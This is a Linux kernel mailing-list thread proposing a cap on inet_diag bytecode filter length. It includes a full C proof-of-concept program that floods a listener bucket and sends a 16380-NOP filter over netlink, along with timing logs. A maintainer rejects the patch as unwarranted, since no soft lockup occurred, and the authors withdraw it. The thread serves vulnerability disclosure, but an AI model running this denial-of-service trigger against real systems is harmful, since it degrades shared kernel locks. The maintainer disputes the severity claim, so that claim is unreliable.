[PATCH net 0/1] inet_diag: cap bytecode filter complexity

COLD17d

4 messages, 2 authors, 17d ago · open the first message on its own page

[PATCH net 0/1] inet_diag: cap bytecode filter complexity

From: Zihan Xi <hidden>
Date: 2026-09-07 13:53:18

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/inet_diag.c. The numbers
below were taken as root in QEMU, not under unshare -Urn.

A no-bytecode TCP listener dump still completes after the cap. A 64-op
program is still accepted. The 16380-NOP request is rejected with
EINVAL.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

inet_diag dumps run request-supplied INET_DIAG_REQ_BYTECODE programs
through inet_diag_bc_sk() while walking TCP, UDP and MPTCP hash buckets
under their bucket locks. inet_diag_bc_audit() currently accepts an
arbitrarily long program, so the per-socket filter cost is not bounded
by the auditor.

This fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode while holding the
listener and ehash locks. Later inet_diag extraction, including
8d07d1518a07, only moved that code. Fixes therefore points to
1da177e4c3f4.

ss(8) filters only need a handful of compare/host/mark operations.
This patch rejects programs with more than 64 ops in
inet_diag_bc_audit(), which is the shared entry point for TCP, UDP
and MPTCP dumps. 64 is a policy cap above a normal ss(8) filter,
not a lock-hold budget.

The runtime logs are TCP listener dumps only. udp_diag_dump() and
mptcp_diag_dump_listeners() call the same inet_diag_bc_sk() helper
under their own bucket locks, so the auditor cap applies there too;
we did not rerun those dumps.

On the unfixed kernel 7.3.0-rc1-00293-g38b6be101006, KVM/host CPU,
watchdog_thresh=10, one SO_REUSEPORT group of 4096 TCP listeners,
guest root, ulimit -n 200000:

    ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
    no bytecode:     1.429 ms
    16380 NOPs:    116.242 ms

dmesg after that dump did not show a soft lockup. These are PoC dump
wall times, not spin_lock timestamps. We did not record lock-hold
duration.

On this kernel the TCP listener walk calls inet_diag_bc_sk() and
inet_sk_diag_fill() under ilb->lock.

ftrace kprobes on the same unfixed kernel:

    ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0

shows inet_diag_bc_sk() called from tcp_diag_dump(), with kretprobe
returning into tcp_diag_dump+0x16d.

    ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare

with those probes attached entered inet_diag_bc_sk() 8212 times
across the baseline dump and the NOP dump, and summed to 129.493 ms
inside that function. Probe overhead is included; the same attack
without probes was 116.242 ms.

On the patched kernel 7.3.0-rc1-00294-g03a6504e40de, same 4096-listener
compare: the no-bytecode baseline dump succeeded (wall_ms=1.479), then
the 16380-NOP request returned EINVAL.

    ./poc --listen --groups 1 --count 4096 --nops 63

still succeeds (wall_ms=0.841). That program is 63 INET_DIAG_BC_NOP
ops plus a trailing INET_DIAG_BC_D_EQ, which the auditor counts as
64 ops, i.e. the cap.

The tested patched bzImage reports 03a6504e40de. The commit in this
series is a later message/trailer amend of that same tree.

A previous dump-cursor rewrite for TCP/MPTCP was dropped.

Reproducer:

    gcc -O2 -static -o poc poc.c
    ulimit -n 200000
    ./poc --listen --groups 1 --count 4096 --nops 16380 --compare

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment, KVM,
cpu=host. The timing log used guest root, not unshare -Urn.

This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>

#ifndef SOL_TCP
#define SOL_TCP 6
#endif

#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif

#define TCPF_LISTEN (1U << TCP_LISTEN)

#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif

#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)

struct options {
	unsigned int sockets;
	unsigned int nops;
	unsigned int repeat;
	unsigned int groups;
	unsigned int stride;
	unsigned int cpu;
	bool cpu_set;
	bool compare;
	bool attack;
	bool listen_mode;
	int port;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
		"          [--groups N] [--stride N] [--compare] [--no-attack]\n"
		"          [--listen | --bound]\n"
		"Defaults: --count %u --nops %u --repeat %u\n",
		prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}

static long long timespec_delta_ns(const struct timespec *start,
				       const struct timespec *end)
{
	return (end->tv_sec - start->tv_sec) * 1000000000LL +
	       (end->tv_nsec - start->tv_nsec);
}

static int raise_nofile_limit(rlim_t needed)
{
	struct rlimit lim;

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur >= needed)
		return 0;

	if (lim.rlim_max < needed)
		needed = lim.rlim_max;

	lim.rlim_cur = needed;
	if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("setrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur < needed) {
		fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
			(unsigned long long)lim.rlim_cur,
			(unsigned long long)needed);
		return -1;
	}

	return 0;
}

static int pin_to_cpu(unsigned int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		return -1;
	}

	return 0;
}

static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_ANY),
	};
	socklen_t addrlen = sizeof(addr);
	int one = 1;
	int fd;

	fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0) {
		perror("socket(AF_INET, SOCK_STREAM)");
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEADDR)");
		goto err;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEPORT)");
		goto err;
	}

	addr.sin_port = htons(port);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("bind");
		goto err;
	}

	if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
		perror("getsockname");
		goto err;
	}

	if (listen_mode) {
		if (listen(fd, 0) < 0) {
			perror("listen");
			goto err;
		}
	}

	*bound_port = ntohs(addr.sin_port);
	return fd;

err:
	close(fd);
	return -1;
}

static int setup_sockets(bool listen_mode, unsigned int groups,
			 unsigned int count_per_group, unsigned int stride,
			 int requested_port, int **fds_out, int *port_out)
{
	int *fds;
	unsigned int g, i;
	unsigned int total = groups * count_per_group;
	int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;

	fds = calloc(total, sizeof(*fds));
	if (!fds) {
		perror("calloc(socket fds)");
		return -1;
	}

	for (g = 0; g < groups; g++) {
		int port = base_port + (int)(g * stride);

		if (port <= 0 || port > 65535) {
			fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
				g, base_port, stride);
			goto err;
		}

		for (i = 0; i < count_per_group; i++) {
			unsigned int idx = g * count_per_group + i;
			int bound_port = port;
			int fd = create_socket_in_bucket(listen_mode, bound_port,
							 &bound_port);

			if (fd < 0) {
				fprintf(stderr,
					"socket setup failed at group %u index %u (port %d)\n",
					g, i, port);
				goto err;
			}

			fds[idx] = fd;
			if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
				printf("sockets_ready=%u group=%u port=%d mode=%s\n",
				       idx + 1, g + 1, port,
				       listen_mode ? "listen" : "bound");
			}
		}
	}

	*fds_out = fds;
	*port_out = base_port;
	return 0;

err:
	for (i = 0; i < total; i++) {
		if (fds[i] > 0)
			close(fds[i]);
	}
	free(fds);
	return -1;
}

static void teardown_sockets(int *fds, unsigned int count)
{
	unsigned int i;

	if (!fds)
		return;

	for (i = 0; i < count; i++) {
		if (fds[i] >= 0)
			close(fds[i]);
	}
	free(fds);
}

static size_t build_request(void *buf, bool listen_mode, bool with_attack,
			    unsigned int nops)
{
	size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
	struct nlmsghdr *nlh = buf;
	struct inet_diag_req_v2 *req;

	memset(buf, 0, msg_len);
	nlh->nlmsg_len = msg_len;
	nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
	nlh->nlmsg_seq = 1;

	req = NLMSG_DATA(nlh);
	req->sdiag_family = AF_INET;
	req->sdiag_protocol = IPPROTO_TCP;
	req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
	req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
	req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;

	if (with_attack) {
		size_t payload_len = ((size_t)nops + 2U) *
				     sizeof(struct inet_diag_bc_op);
		size_t attr_len = NLA_HDRLEN + payload_len;
		struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
		struct inet_diag_bc_op *ops;
		unsigned int i;

		memset(nla, 0, NLA_ALIGN(attr_len));
		nla->nla_type = INET_DIAG_REQ_BYTECODE;
		nla->nla_len = attr_len;
		ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);

		for (i = 0; i < nops; i++) {
			ops[i].code = INET_DIAG_BC_NOP;
			ops[i].yes = sizeof(struct inet_diag_bc_op);
			ops[i].no = 0;
		}

		ops[nops].code = INET_DIAG_BC_D_EQ;
		ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
		ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);

		ops[nops + 1].code = 0;
		ops[nops + 1].yes = 0;
		ops[nops + 1].no = 1;

		msg_len += NLA_ALIGN(attr_len);
		nlh->nlmsg_len = msg_len;
	}

	return msg_len;
}

static int recv_until_done(int fd)
{
	char *buf;
	int ret = 0;

	buf = malloc(RECV_BUF_SIZE);
	if (!buf) {
		perror("malloc(recv buf)");
		return -1;
	}

	for (;;) {
		ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
		struct nlmsghdr *nlh;
		int remaining;

		if (received < 0) {
			perror("recv");
			ret = -1;
			break;
		}

		if (received == 0) {
			fprintf(stderr, "recv: unexpected EOF\n");
			ret = -1;
			break;
		}

		remaining = (int)received;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
		     nlh = NLMSG_NEXT(nlh, remaining)) {
			if (nlh->nlmsg_type == NLMSG_DONE)
				goto out;

			if (nlh->nlmsg_type == NLMSG_ERROR) {
				const struct nlmsgerr *err = NLMSG_DATA(nlh);

				if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
					fprintf(stderr, "short NLMSG_ERROR\n");
				} else if (err->error) {
					errno = -err->error;
					perror("netlink");
				} else {
					fprintf(stderr, "unexpected ACK\n");
				}
				ret = -1;
				goto out;
			}
		}
	}

out:
	free(buf);
	return ret;
}

static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
		    double *wall_ms)
{
	size_t request_len;
	size_t attr_space = with_attack ?
			    NLA_ALIGN(NLA_HDRLEN +
				      ((size_t)nops + 2U) *
				      sizeof(struct inet_diag_bc_op)) : 0;
	size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
			   attr_space;
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
	};
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct timeval timeout = {
		.tv_sec = 60,
		.tv_usec = 0,
	};
	struct iovec iov;
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct timespec start_ts;
	struct timespec end_ts;
	void *request;
	int fd;
	int ret = -1;

	request = malloc(alloc_len);
	if (!request) {
		perror("malloc(request)");
		return -1;
	}

	request_len = build_request(request, listen_mode, with_attack, nops);

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
	if (fd < 0) {
		perror("socket(AF_NETLINK)");
		free(request);
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
		perror("setsockopt(SO_RCVTIMEO)");
		goto out;
	}

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
		perror("bind(netlink)");
		goto out;
	}

	iov.iov_base = request;
	iov.iov_len = request_len;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
		perror("clock_gettime(start)");
		goto out;
	}

	if (sendmsg(fd, &msg, 0) < 0) {
		perror("sendmsg");
		goto out;
	}

	if (recv_until_done(fd) < 0)
		goto out;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
		perror("clock_gettime(end)");
		goto out;
	}

	*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
	ret = 0;

out:
	close(fd);
	free(request);
	return ret;
}

static int parse_u32(const char *arg, unsigned int *value)
{
	char *end = NULL;
	unsigned long parsed;

	parsed = strtoul(arg, &end, 0);
	if (!end || *end || parsed > UINT32_MAX)
		return -1;

	*value = (unsigned int)parsed;
	return 0;
}

static int parse_port(const char *arg, int *port)
{
	unsigned int value;

	if (parse_u32(arg, &value) < 0 || value > 65535U)
		return -1;

	*port = (int)value;
	return 0;
}

int main(int argc, char **argv)
{
	struct options opts = {
		.sockets = DEFAULT_SOCKETS,
		.nops = DEFAULT_NOPS,
		.repeat = DEFAULT_REPEAT,
		.groups = DEFAULT_GROUPS,
		.stride = DEFAULT_STRIDE,
		.cpu = 0,
		.cpu_set = false,
		.compare = false,
		.attack = true,
		.listen_mode = true,
		.port = 0,
	};
	int *fds = NULL;
	int port = 0;
	unsigned int i;

	for (i = 1; i < (unsigned int)argc; i++) {
		if (strcmp(argv[i], "--count") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.sockets) < 0 ||
			    opts.sockets == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--nops") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.nops) < 0 ||
			    opts.nops > MAX_NOPS) {
				fprintf(stderr, "--nops must be in range [0, %u]\n",
					MAX_NOPS);
				return 1;
			}
		} else if (strcmp(argv[i], "--repeat") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.repeat) < 0 ||
			    opts.repeat == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--groups") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.groups) < 0 ||
			    opts.groups == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--stride") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.stride) < 0 ||
			    opts.stride == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--port") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_port(argv[++i], &opts.port) < 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--cpu") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.cpu) < 0) {
				usage(argv[0]);
				return 1;
			}
			opts.cpu_set = true;
		} else if (strcmp(argv[i], "--compare") == 0) {
			opts.compare = true;
		} else if (strcmp(argv[i], "--no-attack") == 0) {
			opts.attack = false;
		} else if (strcmp(argv[i], "--listen") == 0) {
			opts.listen_mode = true;
		} else if (strcmp(argv[i], "--bound") == 0) {
			opts.listen_mode = false;
		} else {
			usage(argv[0]);
			return 1;
		}
	}

	if (opts.groups > UINT32_MAX / opts.sockets) {
		fprintf(stderr, "socket count overflow\n");
		return 1;
	}

	if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
		return 1;

	if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
		return 1;

	if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
			  opts.stride, opts.port, &fds, &port) < 0)
		return 1;

	printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
	       opts.groups, opts.sockets, opts.groups * opts.sockets,
	       port, opts.stride, opts.listen_mode ? "listen" : "bound",
	       opts.nops, opts.repeat,
	       opts.compare ? "yes" : "no",
	       opts.attack ? "yes" : "no");

	if (opts.compare) {
		double wall_ms;

		if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
			teardown_sockets(fds, opts.groups * opts.sockets);
			return 1;
		}
		printf("baseline wall_ms=%.3f\n", wall_ms);
	}

	if (opts.attack) {
		for (i = 0; i < opts.repeat; i++) {
			double wall_ms;

			if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
				teardown_sockets(fds, opts.groups * opts.sockets);
				return 1;
			}
			printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
		}
	}

	teardown_sockets(fds, opts.groups * opts.sockets);
	return 0;
}
------END poc.c--------

----BEGIN timing log----
==== unfixed 7.3.0-rc1-00293-g38b6be101006, KVM/host, guest root ====
kernel.watchdog_thresh = 10
kernel.softlockup_panic = 0
kernel.panic = 0

==== unfixed, 4096 listeners, no kprobe ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.429
attack_run=1 wall_ms=116.242

==== unfixed ftrace kprobe, 8 listeners ====
command: ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
bcsk: (inet_diag_bc_sk+0x4/0x390)
 <stack trace>
 => inet_diag_bc_sk
 => tcp_diag_dump
 => __inet_diag_dump
 => netlink_dump
 => __netlink_dump_start
 => inet_diag_handler_cmd
 => sock_diag_rcv_msg
bcsk_ret: (tcp_diag_dump+0x16d/0x8f0 <- inet_diag_bc_sk)

==== unfixed ftrace kprobe, 4096-listener compare ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
bcsk count=8212 span_ms=138.589
bcsk_ret count=8212
tdump count=19
bcsk_us min=0.0 p50=10.0 p90=28.0 max=871.0 avg=15.8 n=8212
bcsk_total_ms=129.493
poc wall: baseline wall_ms=7.088 attack_run=1 wall_ms=131.535

==== patched 7.3.0-rc1-00294-g03a6504e40de, 4096 listeners, 16380 NOPs ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.479
netlink: Invalid argument

==== patched, 4096 listeners, 63 NOPs + D_EQ ====
command: ./poc --listen --groups 1 --count 4096 --nops 63
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=63 repeat=1 compare=no attack=yes
attack_run=1 wall_ms=0.841
-----END timing log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  inet_diag: cap bytecode filter complexity

 net/ipv4/inet_diag.c | 10 ++++++++++
 1 file changed, 10 insertions(+)

-- 
2.43.0

[PATCH net 1/1] inet_diag: cap bytecode filter complexity

From: Zihan Xi <hidden>
Date: 2026-09-07 13:53:23

inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk()
while walking TCP, UDP and MPTCP hash buckets under their bucket locks.
The auditor currently accepts an arbitrarily long program, so a dump
can spend unbounded time in that locked section.

That fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode under the listener and
ehash locks. Later inet_diag extraction only moved the same code.

ss(8) filters only need a handful of compare/host/mark operations.
Reject programs with more than 64 ops in inet_diag_bc_audit() so TCP,
UDP and MPTCP dumps share the same limit. 64 is a policy cap above a
normal ss(8) filter, not a lock-hold budget.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <redacted>
Assisted-by: LLM
Co-developed-by: Luxing Yin <redacted>
Signed-off-by: Luxing Yin <redacted>
Signed-off-by: Zihan Xi <redacted>
---
 net/ipv4/inet_diag.c | 10 ++++++++++
 1 file changed, 10 insertions(+)
diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c
index 34b77aa87d0a4..1ca528cd3e72b 100644
--- a/net/ipv4/inet_diag.c
+++ b/net/ipv4/inet_diag.c
@@ -725,6 +725,12 @@ static bool valid_cgroupcond(const struct inet_diag_bc_op *op, int len,
 }
 #endif
 
+/* ss(8) filters only need a handful of compare/host/mark ops.
+ * Bound the program so dump walks cannot run an arbitrarily long
+ * bytecode sequence under the socket hash bucket locks.
+ */
+#define INET_DIAG_BC_MAX_OPS 64
+
 static int inet_diag_bc_audit(struct inet_diag_dump_data *cb_data,
 			      const struct sk_buff *skb)
 {
@@ -732,6 +738,7 @@ static int inet_diag_bc_audit(struct inet_diag_dump_data *cb_data,
 	const void *bytecode, *bc;
 	int bytecode_len, len;
 	bool net_admin;
+	int ops = 0;
 
 	if (!attr)
 		return 0;
@@ -747,6 +754,9 @@ static int inet_diag_bc_audit(struct inet_diag_dump_data *cb_data,
 		int min_len = sizeof(struct inet_diag_bc_op);
 		const struct inet_diag_bc_op *op = bc;
 
+		if (++ops > INET_DIAG_BC_MAX_OPS)
+			return -EINVAL;
+
 		switch (op->code) {
 		case INET_DIAG_BC_S_COND:
 		case INET_DIAG_BC_D_COND:
-- 
2.43.0

Re: [PATCH net 1/1] inet_diag: cap bytecode filter complexity

From: Eric Dumazet <edumazet@google.com>
Date: 2026-09-07 14:11:29

On Mon, Sep 7, 2026 at 3:53 PM Zihan Xi [off-list ref] wrote:
quoted hunk
inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk()
while walking TCP, UDP and MPTCP hash buckets under their bucket locks.
The auditor currently accepts an arbitrarily long program, so a dump
can spend unbounded time in that locked section.

That fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode under the listener and
ehash locks. Later inet_diag extraction only moved the same code.

ss(8) filters only need a handful of compare/host/mark operations.
Reject programs with more than 64 ops in inet_diag_bc_audit() so TCP,
UDP and MPTCP dumps share the same limit. 64 is a policy cap above a
normal ss(8) filter, not a lock-hold budget.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <redacted>
Assisted-by: LLM
Co-developed-by: Luxing Yin <redacted>
Signed-off-by: Luxing Yin <redacted>
Signed-off-by: Zihan Xi <redacted>
---
 net/ipv4/inet_diag.c | 10 ++++++++++
 1 file changed, 10 insertions(+)
diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c
index 34b77aa87d0a4..1ca528cd3e72b 100644
--- a/net/ipv4/inet_diag.c
+++ b/net/ipv4/inet_diag.c
@@ -725,6 +725,12 @@ static bool valid_cgroupcond(const struct inet_diag_bc_op *op, int len,
 }
 #endif

+/* ss(8) filters only need a handful of compare/host/mark ops.
+ * Bound the program so dump walks cannot run an arbitrarily long
+ * bytecode sequence under the socket hash bucket locks.
+ */
+#define INET_DIAG_BC_MAX_OPS 64
This is unacceptable.

I am tempted to say that any hash bucket with more than 1000 sockets
in it is a problem, not only for inet_diag.

Since there is no soft lockup, this really looks like an attempt by AI
to break legitimate Linux uses.
(Or slow down as your prior versions did)

Re: [PATCH net 1/1] inet_diag: cap bytecode filter complexity

From: zihan xi <hidden>
Date: 2026-09-07 14:17:06

On Mon, Sep 7, 2026 at 10:11 PM Eric Dumazet [off-list ref] wrote:
On Mon, Sep 7, 2026 at 3:53 PM Zihan Xi [off-list ref] wrote:
quoted
inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk()
while walking TCP, UDP and MPTCP hash buckets under their bucket locks.
The auditor currently accepts an arbitrarily long program, so a dump
can spend unbounded time in that locked section.

That fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode under the listener and
ehash locks. Later inet_diag extraction only moved the same code.

ss(8) filters only need a handful of compare/host/mark operations.
Reject programs with more than 64 ops in inet_diag_bc_audit() so TCP,
UDP and MPTCP dumps share the same limit. 64 is a policy cap above a
normal ss(8) filter, not a lock-hold budget.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <redacted>
Assisted-by: LLM
Co-developed-by: Luxing Yin <redacted>
Signed-off-by: Luxing Yin <redacted>
Signed-off-by: Zihan Xi <redacted>
---
 net/ipv4/inet_diag.c | 10 ++++++++++
 1 file changed, 10 insertions(+)
diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c
index 34b77aa87d0a4..1ca528cd3e72b 100644
--- a/net/ipv4/inet_diag.c
+++ b/net/ipv4/inet_diag.c
@@ -725,6 +725,12 @@ static bool valid_cgroupcond(const struct inet_diag_bc_op *op, int len,
 }
 #endif

+/* ss(8) filters only need a handful of compare/host/mark ops.
+ * Bound the program so dump walks cannot run an arbitrarily long
+ * bytecode sequence under the socket hash bucket locks.
+ */
+#define INET_DIAG_BC_MAX_OPS 64
This is unacceptable.

I am tempted to say that any hash bucket with more than 1000 sockets
in it is a problem, not only for inet_diag.

Since there is no soft lockup, this really looks like an attempt by AI
to break legitimate Linux uses.
(Or slow down as your prior versions did)
Thanks for the feedback.

We will drop this series.

Best regards,
Zihan
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help